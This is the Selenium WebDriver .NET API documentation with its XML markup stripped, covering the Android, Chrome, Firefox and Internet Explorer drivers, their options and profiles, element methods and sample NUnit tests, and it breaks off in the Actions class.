+ [TestFixture] + public class Testing + { + private IWebDriver driver; + + [SetUp] + public void SetUp() + { + driver = new AndroidDriver(); + } + + [Test] + public void TestGoogle() + { + driver.Navigate().GoToUrl("http://www.google.co.uk"); + /* + * Rest of the test + */ + } + + [TearDown] + public void TearDown() + { + driver.Quit(); + } + } + + + + Using the Android driver requires the Android device or emulator + to be running, and the WebDriver application be active on the device. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class, + communicating with the device at a specific URL. + + The URL of the WebDriver application on the Android device. + + + + Initializes a new instance of the class, + communicating with the device at a specific URL. + + The URL of the WebDriver application on the Android device. + + + + Gets a object representing the image of the page on the screen. + + A object containing the image. + + + + Gets the device representing the touch screen. + + + + + Gets or sets the screen orientation of the browser on the device. + + + + + Provides a way to send commands to the remote server + + + + + Executes a command + + The command you wish to execute + A response from the browser + + + + Provides a way of executing Commands over HTTP + + + + + Initializes a new instance of the HttpCommandExecutor class + + Address of the WebDriver Server + The timeout within which the server must respond. + + + + Initializes a new instance of the HttpCommandExecutor class + + Address of the WebDriver Server + The timeout within which the server must respond. + + if the KeepAlive header should be sent + with HTTP requests; otherwise, . + + + + Executes a command + + The command you wish to execute + A response from the browser + + + + Provides a mechanism to execute commands on the browser + + + + + Initializes a new instance of the class. + + The that drives the browser. + The maximum amount of time to wait for each command. + + + + Executes a command with the ChromeDriver. + + The command you wish to execute + A response from the browser + + + + Provides a mechanism to write tests against Chrome + + + + [TestFixture] + public class Testing + { + private IWebDriver driver; + + [SetUp] + public void SetUp() + { + driver = new ChromeDriver(); + } + + [Test] + public void TestGoogle() + { + driver.Navigate().GoToUrl("http://www.google.co.uk"); + /* + * Rest of the test + */ + } + + [TearDown] + public void TearDown() + { + driver.Quit(); + } + } + + + + + + Accept untrusted SSL Certificates + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class using the specified options. + + The to be used with the Chrome driver. + + + + Initializes a new instance of the class using the specified path + to the directory containing ChromeDriver.exe. + + The full path to the directory containing ChromeDriver.exe. + + + + Initializes a new instance of the class using the specified path + to the directory containing ChromeDriver.exe and options. + + The full path to the directory containing ChromeDriver.exe. + The to be used with the Chrome driver. + + + + Initializes a new instance of the class using the specified path + to the directory containing ChromeDriver.exe, options, and command timeout. + + The full path to the directory containing ChromeDriver.exe. + The to be used with the Chrome driver. + The maximum amount of time to wait for each command. + + + + Initializes a new instance of the class using the specified + and options. + + The to use. + The used to initialize the driver. + + + + Initializes a new instance of the class using the specified . + + The to use. + The to be used with the Chrome driver. + The maximum amount of time to wait for each command. + + + + Gets a object representing the image of the page on the screen. + + A object containing the image. + + + + Gets or sets the responsible for detecting + sequences of keystrokes representing file paths and names. + + The Chrome driver does not allow a file detector to be set, + as the server component of the Chrome driver (ChromeDriver.exe) only + allows uploads from the local computer environment. Attempting to set + this property has no effect, but does not throw an exception. If you + are attempting to run the Chrome driver remotely, use + in conjunction with a standalone WebDriver server. + + + + Exposes the service provided by the native ChromeDriver executable. + + + + + Initializes a new instance of the ChromeDriverService class. + + The full path to the ChromeDriver executable. + The port on which the ChromeDriver executable should listen. + + + + Creates a default instance of the ChromeDriverService. + + A ChromeDriverService that implements default settings. + + + + Creates a default instance of the ChromeDriverService using a specified path to the ChromeDriver executable. + + The directory containing the ChromeDriver executable. + A ChromeDriverService using a random port. + + + + Gets or sets the location of the log file written to by the ChromeDriver executable. + + + + + Gets or sets the base URL path prefix for commands (e.g., "wd/url"). + + + + + Gets or sets the address of a server to contact for reserving a port. + + + + + Gets or sets the port on which the Android Debug Bridge is listening for commands. + + + + + Gets or sets a value indicating whether to enable verbose logging for the ChromeDriver executable. + Defaults to . + + + + + Gets the command-line arguments for the driver service. + + + + + Class to manage options specific to + + Used with ChromeDriver.exe v17.0.963.0 and higher. + + + + ChromeOptions options = new ChromeOptions(); + options.AddExtensions("\path\to\extension.crx"); + options.BinaryLocation = "\path\to\chrome"; + + + + For use with ChromeDriver: + + + + ChromeDriver driver = new ChromeDriver(options); + + + + For use with RemoteWebDriver: + + + + DesiredCapabilities capabilities = DesiredCapabilities.Chrome(); + capabilities.SetCapability(ChromeOptions.Capability, options); + RemoteWebDriver driver = new RemoteWebDriver(new Uri("http://localhost:4444/wd/hub"), capabilities); + + + + + + Gets the name of the capability used to store Chrome options in + a object. + + + + + Adds a single argument to the list of arguments to be appended to the Chrome.exe command line. + + The argument to add. + + + + Adds arguments to be appended to the Chrome.exe command line. + + An array of arguments to add. + + + + Adds arguments to be appended to the Chrome.exe command line. + + An object of arguments to add. + + + + Adds a path to a packed Chrome extension (.crx file) to the list of extensions + to be installed in the instance of Chrome. + + The full path to the extension to add. + + + + Adds a list of paths to packed Chrome extensions (.crx files) to be installed + in the instance of Chrome. + + An array of full paths to the extensions to add. + + + + Adds a list of paths to packed Chrome extensions (.crx files) to be installed + in the instance of Chrome. + + An of full paths to the extensions to add. + + + + Adds a base64-encoded string representing a Chrome extension to the list of extensions + to be installed in the instance of Chrome. + + A base64-encoded string representing the extension to add. + + + + Adds a list of base64-encoded strings representing Chrome extensions to the list of extensions + to be installed in the instance of Chrome. + + An array of base64-encoded strings representing the extensions to add. + + + + Adds a list of base64-encoded strings representing Chrome extensions to be installed + in the instance of Chrome. + + An of base64-encoded strings + representing the extensions to add. + + + + Adds a preference for the user-specific profile or "user data directory." + If the specified preference already exists, it will be overwritten. + + The name of the preference to set. + The value of the preference to set. + + + + Adds a preference for the local state file in the user's data directory for Chrome. + If the specified preference already exists, it will be overwritten. + + The name of the preference to set. + The value of the preference to set. + + + + Provides a means to add additional capabilities not yet added as type safe options + for the Chrome driver. + + The name of the capability to add. + The value of the capability to add. + + thrown when attempting to add a capability for which there is already a type safe option, or + when is or the empty string. + + Calling where + has already been added will overwrite the existing value with the new value in + + + + Returns DesiredCapabilities for Chrome with these options included as + capabilities. This does not copy the options. Further changes will be + reflected in the returned capabilities. + + The DesiredCapabilities for Chrome with these options. + + + + Gets or sets the location of the Chrome browser's binary executable file. + + + + + Gets or sets a value indicating whether Chrome should be left running after the + ChromeDriver instance is exited. Defaults to . + + + + + Gets or sets the proxy to use with this instance of Chrome. + + + + + Gets the list of arguments appended to the Chrome command line as a string array. + + + + + Gets the list of extensions to be installed as an array of base64-encoded strings. + + + + + Defines the interface through which the user can access the driver used to find an element. + + + + + Gets the used to find this element. + + + + + RemoteWebElement allows you to have access to specific items that are found on the page + + + + + + + Initializes a new instance of the class. + + The instance hosting this element. + The ID assigned to the element. + + + + Clears the content of this element. + + If this element is a text entry element, the + method will clear the value. It has no effect on other elements. Text entry elements + are defined as elements with INPUT or TEXTAREA tags. + Thrown when the target element is no longer valid in the document DOM. + + + + Simulates typing text into the element. + + The text to type into the element. + The text to be typed may include special characters like arrow keys, + backspaces, function keys, and so on. Valid special keys are defined in + . + + Thrown when the target element is not enabled. + Thrown when the target element is not visible. + Thrown when the target element is no longer valid in the document DOM. + + + + Submits this element to the web server. + + If this current element is a form, or an element within a form, + then this will be submitted to the web server. If this causes the current + page to change, then this method will attempt to block until the new page + is loaded. + Thrown when the target element is no longer valid in the document DOM. + + + + Clicks this element. + + + Click this element. If the click causes a new page to load, the + method will attempt to block until the page has loaded. After calling the + method, you should discard all references to this + element unless you know that the element and the page will still be present. + Otherwise, any further operations performed on this element will have an undefined + behavior. + + Thrown when the target element is not enabled. + Thrown when the target element is not visible. + Thrown when the target element is no longer valid in the document DOM. + + + + Gets the value of the specified attribute for this element. + + The name of the attribute. + The attribute's current value. Returns a if the + value is not set. + The method will return the current value + of the attribute, even if the value has been modified after the page has been + loaded. Note that the value of the following attributes will be returned even if + there is no explicit attribute on the element: + Attribute nameValue returned if not explicitly specifiedValid element typescheckedcheckedCheck BoxselectedselectedOptions in Select elementsdisableddisabledInput and other UI elements + Thrown when the target element is no longer valid in the document DOM. + + + + Gets the value of a CSS property of this element. + + The name of the CSS property to get the value of. + The value of the specified CSS property. + The value returned by the + method is likely to be unpredictable in a cross-browser environment. + Color values should be returned as hex strings. For example, a + "background-color" property set as "green" in the HTML source, will + return "#008000" for its value. + Thrown when the target element is no longer valid in the document DOM. + + + + Finds all IWebElements within the current context + using the given mechanism. + + The locating mechanism to use. + A of all WebElements + matching the current criteria, or an empty list if nothing matches. + + + + Finds the first using the given method. + + The locating mechanism to use. + The first matching on the current context. + If no element matches the criteria. + + + + Finds the first of elements that match the link text supplied + + Link text of element + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + IWebElement elem = driver.FindElementByLinkText("linktext") + + + + + + Finds the first of elements that match the link text supplied + + Link text of element + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsByLinkText("linktext") + + + + + + Finds the first element in the page that matches the ID supplied + + ID of the element + IWebElement object so that you can interact with that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + IWebElement elem = driver.FindElementById("id") + + + + + + Finds the first element in the page that matches the ID supplied + + ID of the Element + ReadOnlyCollection of Elements that match the object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsById("id") + + + + + + Finds the first of elements that match the name supplied + + Name of the element + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + elem = driver.FindElementsByName("name") + + + + + + Finds a list of elements that match the name supplied + + Name of element + ReadOnlyCollect of IWebElement objects so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsByName("name") + + + + + + Finds the first of elements that match the DOM Tag supplied + + tag name of the element + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + IWebElement elem = driver.FindElementsByTagName("tag") + + + + + + Finds a list of elements that match the DOM Tag supplied + + DOM Tag of the element on the page + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsByTagName("tag") + + + + + + Finds the first element in the page that matches the CSS Class supplied + + CSS class name of the element on the page + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + IWebElement elem = driver.FindElementByClassName("classname") + + + + + + Finds a list of elements that match the class name supplied + + CSS class name of the elements on the page + ReadOnlyCollection of IWebElement object so that you can interact with those objects + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsByClassName("classname") + + + + + + Finds the first of elements that match the XPath supplied + + xpath to the element + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + IWebElement elem = driver.FindElementsByXPath("//table/tbody/tr/td/a"); + + + + + + Finds a list of elements that match the XPath supplied + + xpath to element on the page + ReadOnlyCollection of IWebElement objects so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsByXpath("//tr/td/a") + + + + + + Finds the first of elements that match the part of the link text supplied + + part of the link text + IWebElement object so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + IWebElement elem = driver.FindElementsByPartialLinkText("partOfLink") + + + + + + Finds a list of elements that match the link text supplied + + part of the link text + ReadOnlyCollection]]> objects so that you can interact that object + + + IWebDriver driver = new RemoteWebDriver(DesiredCapabilities.Firefox()); + ReadOnlyCollection]]> elem = driver.FindElementsByPartialLinkText("partOfTheLink") + + + + + + Finds the first element matching the specified CSS selector. + + The id to match. + The first matching the criteria. + + + + Finds all elements matching the specified CSS selector. + + The CSS selector to match. + A containing all + IWebElements matching the criteria. + + + + Method to get the hash code of the element + + Integer of the hash code for the element + + + + Compares if two elements are equal + + Object to compare against + A boolean if it is equal or not + + + + Finds a child element matching the given mechanism and value. + + The mechanism by which to find the element. + The value to use to search for the element. + The first matching the given criteria. + + + + Finds all child elements matching the given mechanism and value. + + The mechanism by which to find the elements. + The value to use to search for the elements. + A collection of all of the IWebElements matching the given criteria. + + + + Executes a command on this element using the specified parameters. + + The to execute against this element. + A containing names and values of the parameters for the command. + The object containing the result of the command execution. + + + + Gets the used to find this element. + + + + + Gets the tag name of this element. + + + The property returns the tag name of the + element, not the value of the name attribute. For example, it will return + "input" for an element specified by the HTML markup <input name="foo" />. + + Thrown when the target element is no longer valid in the document DOM. + + + + Gets the innerText of this element, without any leading or trailing whitespace, + and with other whitespace collapsed. + + Thrown when the target element is no longer valid in the document DOM. + + + + Gets a value indicating whether or not this element is enabled. + + The property will generally + return for everything except explicitly disabled input elements. + Thrown when the target element is no longer valid in the document DOM. + + + + Gets a value indicating whether or not this element is selected. + + This operation only applies to input elements such as checkboxes, + options in a select element and radio buttons. + Thrown when the target element is no longer valid in the document DOM. + + + + Gets a object containing the coordinates of the upper-left corner + of this element relative to the upper-left corner of the page. + + Thrown when the target element is no longer valid in the document DOM. + + + + Gets a object containing the height and width of this element. + + Thrown when the target element is no longer valid in the document DOM. + + + + Gets a value indicating whether or not this element is displayed. + + The property avoids the problem + of having to parse an element's "style" attribute to determine + visibility of an element. + Thrown when the target element is no longer valid in the document DOM. + + + + Gets the point where the element would be when scrolled into view. + + + + + Gets the coordinates identifying the location of this element using + various frames of reference. + + + + + Gets the ID of the element. + + This property is internal to the WebDriver instance, and is + not intended to be used in your code. The element's ID has no meaning + outside of internal WebDriver usage, so it would be improper to scope + it as public. However, both subclasses of + and the parent driver hosting the element have a need to access the + internal element ID. Therefore, we have two properties returning the + same value, one scoped as internal, the other as protected. + + + + Gets the ID of the element + + This property is internal to the WebDriver instance, and is + not intended to be used in your code. The element's ID has no meaning + outside of internal WebDriver usage, so it would be improper to scope + it as public. However, both subclasses of + and the parent driver hosting the element have a need to access the + internal element ID. Therefore, we have two properties returning the + same value, one scoped as internal, the other as protected. + + + + Provides a mechanism to get elements off the page for test + + + + + Initializes a new instance of the ChromeWebElement class + + Driver in use + Id of the element + + + + Represents the binary associated with Firefox. + + The class is responsible for instantiating the + Firefox process, and the operating system environment in which it runs. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class located at a specific file location. + + Full path and file name to the Firefox executable. + + + + Starts Firefox using the specified profile and command-line arguments. + + The to use with this instance of Firefox. + The command-line arguments to use in starting Firefox. + + + + Sets a variable to be used in the Firefox execution environment. + + The name of the environment variable to set. + The value of the environment variable to set. + + + + Creates a named profile for Firefox. + + The name of the profile to create. + + + + Waits for the process to complete execution. + + + + + Initializes the binary with the specified profile. + + The to use to initialize the binary. + + + + Stops the execution of this , terminating the process if necessary. + + + + + Returns a String that represents the current Object. + + A String that represents the current Object. + + + + Starts the Firefox process. + + A object used to start Firefox. + + + + Gets or sets the timeout (in milliseconds) to wait for command execution. + + + + + Gets or sets the timeout to wait for Firefox to be available for command execution. + + + + + Gets all console output of the binary. + + Output retrieval is non-destructive and non-blocking. + + + + Gets the associated with this . + + + + + Gets a value indicating whether the current operating system is Linux. + + + + + Gets a containing string key-value pairs + representing any operating system environment variables beyond the defaults. + + + + + Provides a way to access Firefox to run tests. + + + When the FirefoxDriver object has been instantiated the browser will load. The test can then navigate to the URL under test and + start your test. + + In the case of the FirefoxDriver, you can specify a named profile to be used, or you can let the + driver create a temporary, anonymous profile. A custom extension allowing the driver to communicate + to the browser will be installed into the profile. + + + + [TestFixture] + public class Testing + { + private IWebDriver driver; + + [SetUp] + public void SetUp() + { + driver = new FirefoxDriver(); + } + + [Test] + public void TestGoogle() + { + driver.Navigate().GoToUrl("http://www.google.co.uk"); + /* + * Rest of the test + */ + } + + [TearDown] + public void TearDown() + { + driver.Quit(); + } + } + + + + + + The name of the ICapabilities setting to use to define a custom Firefox profile. + + + + + The name of the ICapabilities setting to use to define a custom location for the + Firefox executable. + + + + + The default port on which to communicate with the Firefox extension. + + + + + Indicates whether native events is enabled by default for this platform. + + + + + Indicates whether the driver will accept untrusted SSL certificates. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class for a given profile. + + A object representing the profile settings + to be used in starting Firefox. + + + + Initializes a new instance of the class for a given set of capabilities. + + The object containing the desired + capabilities of this FirefoxDriver. + + + + Initializes a new instance of the class for a given profile and binary environment. + + A object representing the operating system + environmental settings used when running Firefox. + A object representing the profile settings + to be used in starting Firefox. + + + + Initializes a new instance of the class for a given profile, binary environment, and timeout value. + + A object representing the operating system + environmental settings used when running Firefox. + A object representing the profile settings + to be used in starting Firefox. + The maximum amount of time to wait for each command. + + + + Gets a object representing the image of the page on the screen. + + A object containing the image. + + + + Starts the command executor, enabling communication with the browser. + + + + + Stops the command executor, ending further communication with the browser. + + + + + In derived classes, the method prepares the environment for test execution. + + + + + Creates a with the specified ID. + + The ID of this element. + A with the specified ID. For the FirefoxDriver this will be a . + + + + Gets or sets the responsible for detecting + sequences of keystrokes representing file paths and names. + + The Firefox driver does not allow a file detector to be set, + as the server component of the Firefox driver only allows uploads from + the local computer environment. Attempting to set this property has no + effect, but does not throw an exception. If you are attempting to run + the Firefox driver remotely, use in + conjunction with a standalone WebDriver server. + + + + Gets the FirefoxBinary and its details for subclasses + + + + + Gets the FirefoxProfile that is currently in use by subclasses + + + + + Provides the ability to install extensions into a . + + + + + Initializes a new instance of the class. + + The name of the file containing the Firefox extension. + WebDriver attempts to resolve the parameter + by looking first for the specified file in the directory of the calling assembly, + then using the full path to the file, if a full path is provided. + + + + Initializes a new instance of the class. + + The name of the file containing the Firefox extension. + The ID of the resource within the assembly containing the extension + if the file is not present in the file system. + WebDriver attempts to resolve the parameter + by looking first for the specified file in the directory of the calling assembly, + then using the full path to the file, if a full path is provided. If the file is + not found in the file system, WebDriver attempts to locate a resource in the + executing assembly with the name specified by the + parameter. + + + + Installs the extension into a profile directory. + + The Firefox profile directory into which to install the extension. + + + + Provides the ability to edit the preferences associated with a Firefox profile. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class using a + specific profile directory. + + The directory containing the profile. + + + + Initializes a new instance of the class using a + specific profile directory. + + The directory containing the profile. + Delete the source directory of the profile upon cleaning. + + + + Converts a base64-encoded string into a . + + The base64-encoded string containing the profile contents. + The constructed . + + + + Adds a Firefox Extension to this profile + + The path to the new extension + + + + Sets a preference in the profile. + + The name of the preference to add. + A value to add to the profile. + + + + Sets a preference in the profile. + + The name of the preference to add. + A value to add to the profile. + + + + Sets a preference in the profile. + + The name of the preference to add. + A value to add to the profile. + + + + Set proxy preferences for this profile. + + The object defining the proxy + preferences for the profile. + + + + Writes this in-memory representation of a profile to disk. + + + + + Cleans this Firefox profile. + + If this profile is a named profile that existed prior to + launching Firefox, the method removes the WebDriver + Firefox extension. If the profile is an anonymous profile, the profile + is deleted. + + + + Converts the profile into a base64-encoded string. + + A base64-encoded string containing the contents of the profile. + + + + Adds the WebDriver extension for Firefox to the profile. + + + + + Adds a preference to the profile. + + The preferences dictionary. + The name of the preference. + The value of the preference. + + + + Generates a random directory name for the profile. + + A random directory name for the profile. + + + + Deletes the lock files for a profile. + + + + + Installs all extensions in the profile in the directory on disk. + + + + + Deletes the cache of extensions for this profile, if the cache exists. + + If the extensions cache does not exist for this profile, the + method performs no operations, but + succeeds. + + + + Writes the user preferences to the profile. + + + + + Reads the existing preferences from the profile. + + A containing key-value pairs representing the preferences. + Assumes that we only really care about the preferences, not the comments + + + + Writes the specified preferences to the user preferences file. + + A containing key-value pairs + representing the preferences to write. + + + + Sets a preference for a manually specified proxy. + + The protocol for which to set the proxy. + The setting for the proxy. + + + + Gets or sets the port on which the profile connects to the WebDriver extension. + + + + + Gets the directory containing the profile. + + + + + Gets or sets a value indicating whether native events are enabled. + + + + + Gets or sets a value indicating whether to always load the library for allowing Firefox + to execute commands without its window having focus. + + The property is only used on Linux. + + + + Gets or sets a value indicating whether Firefox should accept untrusted certificates. + + + + + Allows the user to enumerate and access existing named Firefox profiles. + + + + + Initializes a new instance of the class. + + + + + Gets a with a given name. + + The name of the profile to get. + A with a given name. + Returns if no profile with the given name exists. + + + + Gets a containing FirefoxProfiles + representing the existing named profiles for Firefox. + + + + + Allows the user to control elements on a page in Firefox. + + + + + Initializes a new instance of the class. + + The instance hosting this element. + The ID assigned to the element. + + + + Determines whether two instances are equal. + + The to compare with the current . + + if the specified is equal to the + current ; otherwise, . + + + + Serves as a hash function for a . + + A hash code for the current . + + + + Defines the interface by which a driver connects to the WebDriver extension. + + + + + Starts the connection to the extension. + + + + + Closes the connection to the extension. + + + + + Represents the preferences used by a profile in Firefox. + + + + + Sets a preference. + + The name of the preference to set. + A value give the preference. + If the preference already exists in the currently-set list of preferences, + the value will be updated. + + + + Sets a preference. + + The name of the preference to set. + A value give the preference. + If the preference already exists in the currently-set list of preferences, + the value will be updated. + + + + Sets a preference. + + The name of the preference to set. + A value give the preference. + If the preference already exists in the currently-set list of preferences, + the value will be updated. + + + + Appends this set of preferences to the specified set of preferences. + + A dictionary containing the preferences to which to + append these values. + If the preference already exists in , + the value will be updated. + + + + Represents the executable file for Firefox. + + + + + Initializes a new instance of the class. + + The path and file name to the Firefox executable. + + + + Sets the library path for the Firefox executable environment. + + The used to execute the binary. + + + + Locates the Firefox binary by platform. + + The full path to the binary. + + + + Retrieves an environment variable + + Name of the variable. + Default value of the variable. + The value of the variable. If no variable with that name is set, returns the default. + + + + Retrieves the platform specific environment property name which contains the library path. + + The platform specific environment property name which contains the library path. + + + + Walk a PATH to locate binaries with a specified name. Binaries will be searched for in the + order they are provided. + + The binary names to search for. + The first binary found matching that name. + + + + Gets the full path to the executable. + + + + + Represents the connection to the WebDriver Firefox extension. + + + + + Initializes a new instance of the class. + + The on which to make the connection. + The creating the connection. + The name of the host on which to connect to the Firefox extension (usually "localhost"). + The maximum amount of time to wait for each command. + + + + Starts the connection to the extension. + + + + + Closes the connection to the extension. + + + + + Executes a command + + The command you wish to execute + A response from the browser + + + + Gets the associated with this connection. + + + + + Defines the interface through which the mutex port for establishing communication + with the WebDriver extension can be locked. + + + + + Locks the mutex port. + + The amount of time (in milliseconds) to wait for + the mutex port to become available. + + + + Locks the mutex port. + + The describing the amount of time to wait for + the mutex port to become available. + + + + Unlocks the mutex port. + + + + + Parses and reads an INI file. + + + + + Initializes a new instance of the class. + + The full path to the .INI file to be read. + + + + Gets a value from the .INI file. + + The section in which to find the key-value pair. + The key of the key-value pair. + The value associated with the given section and key. + + + + Gets a containing the names of the sections in the .INI file. + + + + + Provides a mutex-like lock on a socket. + + + + + Initializes a new instance of the class. + + Port to use to acquire the lock. + The class will attempt to acquire the + specified port number, and wait for it to become free. + + + + Locks the mutex port. + + The describing the amount of time to wait for + the mutex port to become available. + + + + Locks the mutex port. + + The amount of time (in milliseconds) to wait for + the mutex port to become available. + + + + Unlocks the mutex port. + + + + + Releases all resources associated with this + + + + Provides a way to access Internet Explorer to run your tests by creating a InternetExplorerDriver instance + + + When the WebDriver object has been instantiated the browser will load. The test can then navigate to the URL under test and + start your test. + + + + [TestFixture] + public class Testing + { + private IWebDriver driver; + + [SetUp] + public void SetUp() + { + driver = new InternetExplorerDriver(); + } + + [Test] + public void TestGoogle() + { + driver.Navigate().GoToUrl("http://www.google.co.uk"); + /* + * Rest of the test + */ + } + + [TearDown] + public void TearDown() + { + driver.Quit(); + driver.Dispose(); + } + } + + + + + + Initializes a new instance of the InternetExplorerDriver class. + + + + + Initializes a new instance of the class with the desired + options. + + The used to initialize the driver. + + + + Initializes a new instance of the class using the specified path + to the directory containing IEDriverServer.exe. + + The full path to the directory containing IEDriverServer.exe. + + + + Initializes a new instance of the class using the specified path + to the directory containing IEDriverServer.exe and options. + + The full path to the directory containing IEDriverServer.exe. + The used to initialize the driver. + + + + Initializes a new instance of the class using the specified path + to the directory containing IEDriverServer.exe, options, and command timeout. + + The full path to the directory containing IEDriverServer.exe. + The used to initialize the driver. + The maximum amount of time to wait for each command. + + + + Initializes a new instance of the class using the specified + and options. + + The to use. + The used to initialize the driver. + + + + Initializes a new instance of the class using the specified + , , and command timeout. + + The to use. + The used to initialize the driver. + The maximum amount of time to wait for each command. + + + + Gets a object representing the image of the page on the screen. + + A object containing the image. + + + + Gets or sets the responsible for detecting + sequences of keystrokes representing file paths and names. + + The IE driver does not allow a file detector to be set, + as the server component of the IE driver (IEDriverServer.exe) only + allows uploads from the local computer environment. Attempting to set + this property has no effect, but does not throw an exception. If you + are attempting to run the IE driver remotely, use + in conjunction with a standalone WebDriver server. + + + + Represents the valid values of logging levels available with the IEDriverServer.exe. + + + + + Represents the Trace value, the most detailed logging level available. + + + + + Represents the Debug value + + + + + Represents the Info value + + + + + Represents the Warn value + + + + + Represents the Error value + + + + + Represents the Fatal value, the least detailed logging level available. + + + + + Exposes the service provided by the native IEDriverServer executable. + + + + + Initializes a new instance of the InternetExplorerDriverService class. + + The full path to the IEDriverServer executable. + The port on which the IEDriverServer executable should listen. + + + + Creates a default instance of the InternetExplorerDriverService. + + A InternetExplorerDriverService that implements default settings. + + + + Creates a default instance of the InternetExplorerDriverService using a specified path to the IEDriverServer executable. + + The directory containing the IEDriverServer executable. + A InternetExplorerDriverService using a random port. + + + + Gets or sets the value of the host adapter on which the IEDriverServer should listen for connections. + + + + + Gets or sets the location of the log file written to by the IEDriverServer. + + + + + Gets or sets the logging level used by the IEDriverServer. + + + + + Gets or sets the path to which the supporting library of the IEDriverServer.exe is extracted. + Defaults to the temp directory if this property is not set. + + + The IEDriverServer.exe requires extraction of a supporting library to perform some of its functions. Setting + This library is extracted to the temp directory if this property is not set. If the property is set, it must + be set to a valid directory. + + + + + Gets the command-line arguments for the driver service. + + + + + Specifies the scroll behavior of elements scrolled into view in the IE driver. + + + + + Scrolls elements to align with the top of the viewport. + + + + + Scrolls elements to align with the bottom of the viewport. + + + + + Specifies the behavior of handling unexpected alerts in the IE driver. + + + + + Indicates the behavior is not set. + + + + + Ignore unexpected alerts, such that the user must handle them. + + + + + Accept unexpected alerts. + + + + + Dismiss unexpected alerts. + + + + + Class to manage options specific to + + + InternetExplorerOptions options = new InternetExplorerOptions(); + options.IntroduceInstabilityByIgnoringProtectedModeSettings = true; + + + + For use with InternetExplorerDriver: + + + + InternetExplorerDriver driver = new InternetExplorerDriver(options); + + + + For use with RemoteWebDriver: + + + + RemoteWebDriver driver = new RemoteWebDriver(new Uri("http://localhost:4444/wd/hub"), options.ToCapabilities()); + + + + + + Provides a means to add additional capabilities not yet added as type safe options + for the Internet Explorer driver. + + The name of the capability to add. + The value of the capability to add. + + thrown when attempting to add a capability for which there is already a type safe option, or + when is or the empty string. + + Calling where + has already been added will overwrite the existing value with the new value in + + + + Returns DesiredCapabilities for IE with these options included as + capabilities. This copies the options. Further changes will not be + reflected in the returned capabilities. + + The DesiredCapabilities for IE with these options. + + + + Gets or sets a value indicating whether to ignore the settings of the Internet Explorer Protected Mode. + + + + + Gets or sets a value indicating whether to ignore the zoom level of Internet Explorer . + + + + + Gets or sets a value indicating whether to use native events in interacting with elements. + + + + + Gets or sets a value indicating whether to require the browser window to have focus before interacting with elements. + + + + + Gets or sets the initial URL displayed when IE is launched. If not set, the browser launches + with the internal startup page for the WebDriver server. + + + By setting the to + and this property to a correct URL, you can launch IE in the Internet Protected Mode zone. This can be helpful + to avoid the flakiness introduced by ignoring the Protected Mode settings. Nevertheless, setting Protected Mode + zone settings to the same value in the IE configuration is the preferred method. + + + + + Gets or sets the value for describing how elements are scrolled into view in the IE driver. Defaults + to scrolling the element to the top of the viewport. + + + + + Gets or sets the value for describing how unexpected alerts are to be handled in the IE driver. + Defaults to . + + + + + Gets or sets a value indicating whether to enable persistently sending WM_MOUSEMOVE messages + to the IE window during a mouse hover. + + + + + Gets or sets the amount of time the driver will attempt to look for a newly launched instance + of Internet Explorer. + + + + + Gets or sets a value indicating whether to force the use of the Windows CreateProcess API + when launching Internet Explorer. The default value is . + + + + + Gets or sets the command line arguments used in launching Internet Explorer when the + Windows CreateProcess API is used. This property only has an effect when the + is . + + + + + Gets or sets the to be used with Internet Explorer. By default, + will install the specified proxy to be the system proxy, used by all instances of + Internet Explorer. To change this default behavior, change the + property. + + + + + Gets or sets a value indicating whether to use the supplied + settings on a per-process basis, not updating the system installed proxy setting. + This property is only valid when setting a , where the + property is either , + , or , and is + otherwise ignored. Defaults to . + + + + + Gets or sets a value indicating whether to clear the Internet Explorer cache + before launching the browser. When set to , clears the + system cache for all instances of Internet Explorer, even those already running + when the driven instance is launched. Defaults to . + + + + + InternetExplorerWebElement allows you to have access to specific items that are found on the page. + + + + + + [Test] + public void TestGoogle() + { + driver = new InternetExplorerDriver(); + InternetExplorerWebElement elem = driver.FindElement(By.Name("q")); + elem.SendKeys("Cheese please!"); + } + + + + + + Initializes a new instance of the InternetExplorerWebElement class. + + Driver in use. + ID of the element. + + + + Provides a mechanism for building advanced interactions with the browser. + + + + + Initializes a new instance of the class. + + The object on which the actions built will be performed. + + + + Sends a modifier key down message to the browser. + + The key to be sent. + A self-reference to this . + If the key sent is not is not one + of , , or . + + + + Sends a modifier key down message to the specified element in the browser. + + The element to which to send the key command. + The key to be sent. + A self-reference to this . + If the key sent is not is not one + of , , or . + + + + Sends a modifier key up message to the browser. + + The key to be sent. + A self-reference to this . + If the key sent is not is not one + of , , or . + + + + Sends a modifier up down message to the specified element in the browser. + + The element to which to send the key command. + The key to be sent. + A self-reference to this . + If the key sent is not is not one + of , , or . + + + + Sends a sequence of keystrokes to the browser. + + The keystrokes to send to the browser. + A self-reference to this . + + + + Sends a sequence of keystrokes to the specified element in the browser. + + The element to which to send the keystrokes. + The keystrokes to send to the browser. + A self-reference to this . + + + + Clicks and holds 